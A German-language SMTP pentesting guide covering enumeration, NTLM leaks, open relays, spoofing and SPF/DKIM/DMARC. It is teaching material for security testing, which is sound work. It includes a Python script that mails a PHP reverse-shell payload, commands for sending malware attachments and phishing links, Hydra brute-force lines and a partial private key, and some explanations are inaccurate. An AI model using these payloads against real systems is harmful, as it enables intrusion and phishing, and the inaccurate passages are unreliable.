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README.md

25,465,587 - Pentesting SMTP/s

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{% embed url="https://pentest-tools.com/" %}

Grundlegende Informationen

Das Simple Mail Transfer Protocol (SMTP) ist ein Protokoll, das innerhalb der TCP/IP-Suite für das Senden und Empfangen von E-Mails verwendet wird. Aufgrund seiner Einschränkungen bei der Warteschlangenbildung von Nachrichten beim Empfänger wird SMTP häufig zusammen mit POP3 oder IMAP eingesetzt. Diese zusätzlichen Protokolle ermöglichen es Benutzern, Nachrichten in einem Server-Postfach zu speichern und sie regelmäßig herunterzuladen.

In der Praxis ist es üblich, dass E-Mail-Programme SMTP zum Senden von E-Mails verwenden und gleichzeitig POP3 oder IMAP zum Empfangen verwenden. Auf Unix-basierten Systemen ist sendmail der am häufigsten verwendete SMTP-Server für E-Mail-Zwecke. Das kommerzielle Paket Sendmail umfasst einen POP3-Server. Darüber hinaus bietet Microsoft Exchange einen SMTP-Server und die Möglichkeit, POP3-Unterstützung einzuschließen.

Standardport: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

E-Mail-Header

Wenn Sie die Möglichkeit haben, dass das Opfer Ihnen eine E-Mail sendet (zum Beispiel über das Kontaktformular der Webseite), nutzen Sie diese Chance, da Sie durch die Header der E-Mail etwas über die interne Topologie des Opfers erfahren können.

Sie können auch eine E-Mail von einem SMTP-Server erhalten, indem Sie versuchen, an diesen Server eine E-Mail an eine nicht existierende Adresse zu senden (da der Server dem Angreifer eine NDN-E-Mail senden wird). Stellen Sie jedoch sicher, dass Sie die E-Mail von einer zugelassenen Adresse senden (überprüfen Sie die SPF-Richtlinie) und dass Sie NDN-Nachrichten empfangen können.

Sie sollten auch versuchen, verschiedene Inhalte zu senden, da Sie in den Headern möglicherweise interessantere Informationen finden, wie z.B. X-Virus-Scanned: by av.domain.com.
Sie sollten die EICAR-Testdatei senden.
Das Erkennen des AV kann es Ihnen ermöglichen, bekannte Schwachstellen auszunutzen.

Grundlegende Aktionen

Banner Grabbing/Grundlegende Verbindung

SMTP:

nc -vn <IP> 25

SMTPS:

SMTPS steht für "Secure SMTP" und ist eine verschlüsselte Version des Simple Mail Transfer Protocol (SMTP). Es wird verwendet, um E-Mails sicher zwischen einem E-Mail-Client und einem Mailserver zu übertragen. SMTPS verwendet eine SSL- oder TLS-Verschlüsselungsschicht, um die Verbindung zu sichern und die Vertraulichkeit der übertragenen Daten zu gewährleisten.

Um eine Verbindung zu einem SMTPS-Server herzustellen, muss der E-Mail-Client die entsprechenden SSL- oder TLS-Zertifikate des Servers überprüfen. Dies stellt sicher, dass die Verbindung authentisch ist und vor Man-in-the-Middle-Angriffen geschützt ist.

SMTPS verwendet standardmäßig den TCP-Port 465 für die Verbindung. Es ist wichtig zu beachten, dass SMTPS nicht dasselbe ist wie STARTTLS, bei dem die Verschlüsselung erst nach dem Verbindungsaufbau gestartet wird. Bei SMTPS wird die Verschlüsselung von Anfang an angewendet.

Um SMTPS in einem Penetrationstest zu überprüfen, können verschiedene Techniken angewendet werden, wie z.B. das Überprüfen auf schwache SSL/TLS-Konfigurationen, das Ausnutzen von Schwachstellen in der SSL/TLS-Implementierung oder das Durchführen von Man-in-the-Middle-Angriffen, um den Datenverkehr abzufangen und zu analysieren.

Es ist wichtig, dass Penetrationstester über ein grundlegendes Verständnis von SMTPS verfügen, um Schwachstellen in der E-Mail-Kommunikation zu identifizieren und zu beheben.

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Ermittlung der MX-Server einer Organisation

Um die MX-Server (Mail Exchange) einer Organisation zu finden, können verschiedene Methoden verwendet werden:

DNS-Abfrage

Eine Möglichkeit besteht darin, eine DNS-Abfrage durchzuführen, um die MX-Einträge der Domain der Organisation zu ermitteln. Dies kann mit dem Befehl nslookup oder dig erfolgen. Hier ist ein Beispiel für die Verwendung von nslookup:

nslookup -type=mx example.com

Dieser Befehl gibt die MX-Einträge für die Domain "example.com" zurück.

Online-Dienste

Es gibt auch Online-Dienste, die MX-Server für eine bestimmte Domain ermitteln können. Einige beliebte Dienste sind:

Diese Dienste ermöglichen es Ihnen, eine Domain einzugeben und die zugehörigen MX-Einträge abzurufen.

Reverse Lookup

Eine weitere Methode besteht darin, einen Reverse Lookup durchzuführen, um die MX-Server einer IP-Adresse zu ermitteln. Dies kann nützlich sein, wenn Sie die IP-Adresse eines Mail-Servers haben und die zugehörige Domain ermitteln möchten. Sie können den Befehl nslookup oder dig verwenden, um den Reverse Lookup durchzuführen. Hier ist ein Beispiel für die Verwendung von nslookup:

nslookup <IP-Adresse>

Ersetzen Sie <IP-Adresse> durch die tatsächliche IP-Adresse des Servers.

Die Ermittlung der MX-Server einer Organisation ist ein wichtiger Schritt bei der Durchführung von Penetrationstests im Zusammenhang mit SMTP (Simple Mail Transfer Protocol). Es ermöglicht Ihnen, potenzielle Schwachstellen oder Angriffsvektoren im Zusammenhang mit der E-Mail-Kommunikation zu identifizieren.

dig +short mx google.com

Enumeration

Die Enumeration ist der erste Schritt bei der Pentesting von SMTP-Diensten. Das Ziel der Enumeration ist es, Informationen über den SMTP-Server zu sammeln, um Schwachstellen zu identifizieren und mögliche Angriffspunkte zu finden.

Port-Scanning

Verwenden Sie ein Port-Scanning-Tool wie Nmap, um den SMTP-Port (Standardport 25) auf dem Zielserver zu identifizieren. Führen Sie den Befehl nmap -p 25 <Ziel-IP> aus, um den Port zu überprüfen.

Banner-Grabbing

Verwenden Sie ein Tool wie Telnet oder Netcat, um eine Verbindung zum SMTP-Server herzustellen und den Banner zu erfassen. Der Banner enthält oft Informationen über den Server und die verwendete Software. Führen Sie den Befehl telnet <Ziel-IP> 25 aus und überprüfen Sie die Antwort des Servers.

User Enumeration

Versuchen Sie, gültige Benutzernamen auf dem SMTP-Server zu ermitteln. Verwenden Sie Tools wie SMTP-User-Enum oder Metasploit, um eine Liste möglicher Benutzernamen zu überprüfen. Führen Sie den Befehl smtp-user-enum -M VRFY -U /path/to/usernames.txt -t <Ziel-IP> aus, um die Benutzernamen zu überprüfen.

SMTP-Verzeichnisüberprüfung

Überprüfen Sie, ob der SMTP-Server eine Verzeichnisüberprüfung zulässt. Verwenden Sie Tools wie smtp-user-enum oder Metasploit, um eine Liste möglicher Verzeichnisnamen zu überprüfen. Führen Sie den Befehl smtp-user-enum -M EXPN -U /path/to/directories.txt -t <Ziel-IP> aus, um die Verzeichnisse zu überprüfen.

SMTP-Relay-Test

Überprüfen Sie, ob der SMTP-Server als Relay-Server verwendet werden kann. Verwenden Sie Tools wie smtp-user-enum oder Metasploit, um eine Relay-Test durchzuführen. Führen Sie den Befehl smtp-user-enum -M RCPT -U /path/to/usernames.txt -t <Ziel-IP> aus, um den Relay-Test durchzuführen.

SMTP-Exploits

Überprüfen Sie, ob der SMTP-Server anfällig für bekannte Exploits ist. Verwenden Sie Tools wie Metasploit, um bekannte Schwachstellen zu überprüfen. Führen Sie den Befehl use auxiliary/scanner/smtp/smtp_enum aus, um den SMTP-Server auf Schwachstellen zu überprüfen.

SMTP-Brute-Force

Versuchen Sie, das Passwort für einen gültigen Benutzernamen auf dem SMTP-Server zu erraten. Verwenden Sie Tools wie Hydra oder Medusa, um einen Brute-Force-Angriff durchzuführen. Führen Sie den Befehl hydra -L /path/to/usernames.txt -P /path/to/passwords.txt -t 4 -s 25 -vV <Ziel-IP> smtp aus, um den Brute-Force-Angriff durchzuführen.

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Informationslecks

Wenn der Server NTLM-Authentifizierung (Windows) unterstützt, können sensible Informationen (Versionen) abgerufen werden. Weitere Informationen hier.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Oder automatisieren Sie dies mit dem nmap-Plugin smtp-ntlm-info.nse

Interner Servername - Offenlegung von Informationen

Einige SMTP-Server vervollständigen automatisch die Absenderadresse, wenn der Befehl "MAIL FROM" ohne eine vollständige Adresse ausgegeben wird, wodurch der interne Name offengelegt wird:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Überprüfen Sie, ob Sie Passwörter aus den Paketen zum Port 25 sniffen können.

Authentifizierungs-Brute-Force

Benutzername-Brute-Force-Enumeration

Authentifizierung ist nicht immer erforderlich

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

VRFY (Verify) ist ein Befehl, der in SMTP (Simple Mail Transfer Protocol) verwendet wird, um die Gültigkeit einer E-Mail-Adresse zu überprüfen. Es wird normalerweise von E-Mail-Servern verwendet, um zu überprüfen, ob eine bestimmte E-Mail-Adresse auf ihrem System existiert.

Der VRFY-Befehl kann von Hackern verwendet werden, um Informationen über Benutzerkonten auf einem E-Mail-Server zu sammeln. Durch die Überprüfung der Gültigkeit von E-Mail-Adressen können Hacker feststellen, welche Konten existieren und welche nicht. Dies kann ihnen helfen, potenzielle Ziele für Angriffe zu identifizieren.

Es ist wichtig zu beachten, dass viele moderne E-Mail-Server den VRFY-Befehl deaktiviert haben, um die Sicherheit zu erhöhen. Dies liegt daran, dass der Befehl von Hackern missbraucht werden kann, um Informationen zu sammeln und Schwachstellen im System zu identifizieren.

Wenn Sie den VRFY-Befehl während eines Penetrationstests verwenden möchten, sollten Sie sicherstellen, dass er auf dem Zielserver aktiviert ist. Andernfalls müssen Sie alternative Methoden verwenden, um Informationen über Benutzerkonten zu sammeln.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

Die EXPN-Befehl wird verwendet, um die vollständige E-Mail-Adresse eines Empfängers zu ermitteln. Dies kann nützlich sein, um Informationen über die E-Mail-Infrastruktur zu sammeln und potenzielle Schwachstellen zu identifizieren.

Um den EXPN-Befehl zu verwenden, senden Sie einfach den Befehl "EXPN " an den SMTP-Server. Der Server antwortet dann mit der vollständigen E-Mail-Adresse des angegebenen Benutzers, sofern verfügbar.

Es ist wichtig zu beachten, dass der EXPN-Befehl in den meisten modernen SMTP-Implementierungen deaktiviert ist, da er potenziell sensible Informationen preisgeben kann. Es ist daher möglich, dass der Befehl nicht auf allen SMTP-Servern funktioniert.

Um den EXPN-Befehl zu verwenden, können Sie Tools wie Telnet oder spezialisierte SMTP-Client-Tools verwenden. Hier ist ein Beispiel für die Verwendung des EXPN-Befehls mit Telnet:

telnet <SMTP-Server-IP> 25
EXPN <Benutzername>

Wenn der EXPN-Befehl erfolgreich ist, erhalten Sie die vollständige E-Mail-Adresse des angegebenen Benutzers. Wenn der Befehl nicht funktioniert, erhalten Sie möglicherweise eine Fehlermeldung oder eine leere Antwort.

Es ist wichtig, den EXPN-Befehl mit Vorsicht zu verwenden und nur auf Systemen, für die Sie die Berechtigung haben, zu testen. Das unbefugte Ausführen des EXPN-Befehls auf einem SMTP-Server kann als Angriff angesehen werden und rechtliche Konsequenzen haben.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Automatische Tools

Es gibt verschiedene automatische Tools, die beim Pentesting von SMTP-Diensten verwendet werden können. Diese Tools können den Prozess der Identifizierung von Schwachstellen und Sicherheitslücken beschleunigen. Hier sind einige der beliebtesten automatischen Tools:

  • Nmap: Ein leistungsstarkes Netzwerk-Scanning-Tool, das verwendet werden kann, um offene SMTP-Ports zu identifizieren und Informationen über den SMTP-Dienst zu sammeln.

  • Metasploit: Eine umfangreiche Sammlung von Exploits und Payloads, die verwendet werden können, um Schwachstellen in SMTP-Diensten auszunutzen.

  • OpenVAS: Ein Open-Source-Schwachstellenscanner, der verwendet werden kann, um Schwachstellen in SMTP-Diensten zu identifizieren und zu bewerten.

  • SMTP User Enum: Ein Tool, das verwendet werden kann, um gültige Benutzernamen in einem SMTP-Dienst zu ermitteln.

  • SMTPTester: Ein Python-Tool, das verwendet werden kann, um die Konfiguration eines SMTP-Servers zu überprüfen und Schwachstellen zu identifizieren.

Es ist wichtig zu beachten, dass automatische Tools allein nicht ausreichen, um eine umfassende Sicherheitsbewertung durchzuführen. Sie sollten immer in Verbindung mit manuellen Tests und einer gründlichen Analyse der Ergebnisse verwendet werden.

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit über 20 Tools und Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

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DSN-Berichte

Zustellungsstatusbenachrichtigungsberichte: Wenn Sie eine E-Mail an eine Organisation an eine ungültige Adresse senden, benachrichtigt Sie die Organisation, dass die Adresse ungültig war, indem sie Ihnen eine E-Mail zurückschickt. Die Header der zurückgesendeten E-Mail enthalten möglicherweise sensible Informationen (wie die IP-Adresse der Maildienste, die mit den Berichten interagiert haben, oder Informationen zur Antivirensoftware).

Befehle

Senden einer E-Mail von der Linux-Konsole

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Senden einer E-Mail mit Python

To send an email using Python, you can use the smtplib library. Here is an example of how to send an email using a Gmail account:

import smtplib

def send_email(sender_email, sender_password, receiver_email, subject, message):
    try:
        server = smtplib.SMTP('smtp.gmail.com', 587)
        server.starttls()
        server.login(sender_email, sender_password)
        email_body = f"Subject: {subject}\n\n{message}"
        server.sendmail(sender_email, receiver_email, email_body)
        print("Email sent successfully!")
    except Exception as e:
        print(f"An error occurred while sending the email: {str(e)}")
    finally:
        server.quit()

# Example usage
sender_email = "your_email@gmail.com"
sender_password = "your_password"
receiver_email = "recipient_email@example.com"
subject = "Hello from Python"
message = "This is a test email sent using Python."

send_email(sender_email, sender_password, receiver_email, subject, message)

Make sure to replace your_email@gmail.com with your actual Gmail address and your_password with your Gmail password. Also, replace recipient_email@example.com with the email address of the recipient.

This code establishes a connection with the Gmail SMTP server, logs in using the provided credentials, and sends an email with the specified subject and message. If the email is sent successfully, the message "Email sent successfully!" will be printed. If an error occurs, the error message will be printed instead.

Note: Before using this code, make sure you have enabled "Less secure app access" in your Gmail account settings.

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

Gegenmaßnahmen gegen Mail Spoofing

Organisationen verhindern, dass unbefugte E-Mails in ihrem Namen versendet werden, indem sie SPF, DKIM und DMARC verwenden, da das Spoofen von SMTP-Nachrichten einfach ist.

Eine vollständige Anleitung zu diesen Gegenmaßnahmen finden Sie unter https://seanthegeek.net/459/demystifying-dmarc/.

SPF

{% hint style="danger" %} SPF wurde 2014 "veraltet" erklärt. Das bedeutet, dass anstelle eines TXT-Eintrags in _spf.domain.com ein Eintrag in domain.com mit derselben Syntax erstellt wird.
Darüber hinaus ist es üblich, frühere SPF-Einträge wiederzuverwenden, wie z.B. "v=spf1 include:_spf.google.com ~all". {% endhint %}

Das Sender Policy Framework (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht, zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem er eine Liste autorisierter Mailserver abfragt, die von den Organisationen definiert wurden. Diese Liste, die IP-Adressen/Bereiche, Domains und andere Entitäten enthält, die berechtigt sind, E-Mails im Namen einer Domain zu senden, umfasst verschiedene "Mechanismen" im SPF-Eintrag.

Mechanismen

Aus Wikipedia:

Mechanismus Beschreibung
ALL Passt immer; wird für ein Standardergebnis wie -all für alle IPs verwendet, die nicht von vorherigen Mechanismen abgeglichen wurden.
A Wenn der Domainname einen Adresseneintrag (A oder AAAA) hat, der zur Absenderadresse aufgelöst werden kann, passt er.
IP4 Wenn der Absender in einem bestimmten IPv4-Adressbereich liegt, passt er.
IP6 Wenn der Absender in einem bestimmten IPv6-Adressbereich liegt, passt er.
MX Wenn der Domainname einen MX-Eintrag hat, der zur Absenderadresse aufgelöst wird, passt er (d.h. die E-Mail stammt von einem der eingehenden Mailserver der Domain).
PTR Wenn der Domainname (PTR-Eintrag) für die Adresse des Clients in der angegebenen Domain liegt und dieser Domainname zur Adresse des Clients aufgelöst wird (forward-confirmed reverse DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte nach Möglichkeit vermieden werden.
EXISTS Wenn der angegebene Domainname zu einer beliebigen Adresse aufgelöst wird, passt er (unabhängig von der aufgelösten Adresse). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen.
INCLUDE Verweist auf die Richtlinie einer anderen Domain. Wenn die Richtlinie dieser Domain bestanden wird, wird auch dieser Mechanismus bestanden. Wenn jedoch die eingeschlossene Richtlinie fehlschlägt, wird die Verarbeitung fortgesetzt. Um die Richtlinie einer anderen Domain vollständig zu delegieren, muss die Umleitungserweiterung verwendet werden.
REDIRECT

Ein Redirect ist ein Verweis auf einen anderen Domainnamen, der eine SPF-Richtlinie hostet. Dadurch können mehrere Domains dieselbe SPF-Richtlinie gemeinsam nutzen. Es ist nützlich, wenn mit einer großen Anzahl von Domains gearbeitet wird, die dieselbe E-Mail-Infrastruktur teilen.

Die SPF-Richtlinie der im Redirect-Mechanismus angegebenen Domain wird verwendet.

Es ist auch möglich, Qualifiers zu identifizieren, die angeben, was getan werden soll, wenn ein Mechanismus übereinstimmt. Standardmäßig wird der Qualifikator "+" verwendet (d.h. wenn ein Mechanismus übereinstimmt, bedeutet das, dass er erlaubt ist).
In der Regel finden Sie am Ende jeder SPF-Richtlinie etwas wie: ~all oder -all. Dies wird verwendet, um anzuzeigen, dass wenn der Absender keiner SPF-Richtlinie entspricht, die E-Mail als nicht vertrauenswürdig (~) gekennzeichnet oder abgelehnt (-) werden sollte.

Qualifikatoren

Jeder Mechanismus innerhalb der Richtlinie kann mit einem der vier Qualifikatoren versehen werden, um das beabsichtigte Ergebnis zu definieren:

  • +: Entspricht einem PASS-Ergebnis. Standardmäßig gehen Mechanismen von diesem Qualifikator aus, sodass +mx gleichbedeutend mit mx ist.
  • ?: Steht für ein NEUTRAL-Ergebnis, das ähnlich wie NONE (keine spezifische Richtlinie) behandelt wird.
  • ~: Kennzeichnet SOFTFAIL und dient als Mittelweg zwischen NEUTRAL und FAIL. E-Mails, die dieses Ergebnis erfüllen, werden in der Regel akzeptiert, aber entsprechend gekennzeichnet.
  • -: Zeigt FAIL an und legt nahe, dass die E-Mail vollständig abgelehnt werden sollte.

Im folgenden Beispiel wird die SPF-Richtlinie von google.com veranschaulicht. Beachten Sie die Einbeziehung von SPF-Richtlinien aus verschiedenen Domains in der ersten SPF-Richtlinie:

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Traditionell war es möglich, jede Domain zu fälschen, die keinen korrekten/keinen SPF-Eintrag hatte. Heutzutage wird eine E-Mail, die von einer Domain ohne gültigen SPF-Eintrag stammt, wahrscheinlich automatisch abgelehnt/als nicht vertrauenswürdig markiert.

Um den SPF einer Domain zu überprüfen, können Sie Online-Tools wie https://www.kitterman.com/spf/validate.html verwenden.

DKIM (DomainKeys Identified Mail)

DKIM wird verwendet, um ausgehende E-Mails zu signieren und ihre Validierung durch externe Mail Transfer Agents (MTAs) durch das Abrufen des öffentlichen Schlüssels der Domain aus dem DNS zu ermöglichen. Dieser öffentliche Schlüssel befindet sich in einem TXT-Eintrag der Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selector als auch den Domainnamen kennen.

Um beispielsweise den Schlüssel anzufordern, sind der Domainname und der Selector wesentlich. Diese Informationen können im Mail-Header DKIM-Signature gefunden werden, z.B. d=gmail.com;s=20120113.

Ein Befehl zum Abrufen dieser Informationen könnte wie folgt aussehen:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC verbessert die E-Mail-Sicherheit, indem es auf den SPF- und DKIM-Protokollen aufbaut. Es legt Richtlinien fest, die Mailserver bei der Verarbeitung von E-Mails einer bestimmten Domäne leiten, einschließlich des Umgangs mit Authentifizierungsfehlern und der Weiterleitung von Berichten über E-Mail-Verarbeitungsaktionen.

Um den DMARC-Eintrag zu erhalten, müssen Sie das Subdomain _dmarc abfragen

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC-Tags

Tag-Name Zweck Beispiel
v Protokollversion v=DMARC1
pct Prozentsatz der Nachrichten, die gefiltert werden pct=20
ruf Berichts-URI für forensische Berichte ruf=mailto:authfail@example.com
rua Berichts-URI für aggregierte Berichte rua=mailto:aggrep@example.com
p Richtlinie für die Organisationsdomäne p=quarantine
sp Richtlinie für Subdomänen der OD sp=reject
adkim Ausrichtungsmodus für DKIM adkim=s
aspf Ausrichtungsmodus für SPF aspf=r

Was ist mit Subdomänen?

Von hier.
Sie müssen separate SPF-Einträge für jede Subdomäne haben, von der Sie E-Mails senden möchten.
Das Folgende wurde ursprünglich auf openspf.org veröffentlicht, das früher eine großartige Ressource für solche Dinge war.

Die Dämonenfrage: Was ist mit Subdomänen?

Wenn ich eine E-Mail von pielovers.demon.co.uk erhalte und es keine SPF-Daten für pielovers gibt, sollte ich dann eine Ebene zurückgehen und SPF für demon.co.uk testen? Nein. Jede Subdomäne bei Demon ist ein anderer Kunde, und jeder Kunde kann seine eigene Richtlinie haben. Es würde keinen Sinn ergeben, die Richtlinie von Demon standardmäßig auf alle Kunden anzuwenden. Wenn Demon das tun möchte, kann es SPF-Einträge für jede Subdomäne einrichten.

Daher lautet der Rat an SPF-Publisher: Sie sollten für jede Subdomäne oder jeden Hostnamen, für den ein A- oder MX-Eintrag vorhanden ist, einen SPF-Eintrag hinzufügen.

Websites mit Platzhalter-A- oder MX-Einträgen sollten auch einen Platzhalter-SPF-Eintrag haben, der folgendermaßen aussieht: * IN TXT "v=spf1 -all"

Das macht Sinn - eine Subdomäne kann sich durchaus an einem anderen geografischen Ort befinden und eine sehr unterschiedliche SPF-Definition haben.

Offenes Relay

Beim Versenden von E-Mails ist es wichtig, sicherzustellen, dass sie nicht als Spam markiert werden. Dies wird häufig durch die Verwendung eines Relay-Servers erreicht, der vom Empfänger vertraut wird. Eine häufige Herausforderung besteht jedoch darin, dass Administratoren möglicherweise nicht vollständig darüber informiert sind, welche IP-Bereiche sicher sind. Dieses mangelnde Verständnis kann zu Fehlern bei der Einrichtung des SMTP-Servers führen, ein Risiko, das häufig bei Sicherheitsbewertungen identifiziert wird.

Ein Workaround, den einige Administratoren verwenden, um Probleme bei der Zustellung von E-Mails zu vermeiden, insbesondere im Zusammenhang mit der Kommunikation mit potenziellen oder laufenden Kunden, besteht darin, Verbindungen von jeder IP-Adresse zuzulassen. Dies wird durch Konfigurieren des mynetworks-Parameters des SMTP-Servers erreicht, um alle IP-Adressen zu akzeptieren, wie unten gezeigt:

mynetworks = 0.0.0.0/0

Um zu überprüfen, ob ein Mail-Server ein offenes Relay ist (was bedeutet, dass er E-Mails von jeder externen Quelle weiterleiten könnte), wird häufig das Tool nmap verwendet. Es enthält ein spezielles Skript, das dies testet. Der Befehl für einen ausführlichen Scan auf einem Server (zum Beispiel mit der IP 10.10.10.10) auf Port 25 mit nmap lautet:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Werkzeuge

Spoof-E-Mail senden

Oder Sie könnten ein Tool verwenden:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Wenn Sie beim Parsen des Schlüssels einen Fehler mit der dkim Python-Bibliothek erhalten, können Sie stattdessen den folgenden Schlüssel verwenden.
HINWEIS: Dies ist nur eine schnelle Lösung, um in Fällen, in denen aus irgendeinem Grund der OpenSSL-Privatschlüssel nicht von dkim geparst werden kann, schnelle Überprüfungen durchzuführen.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
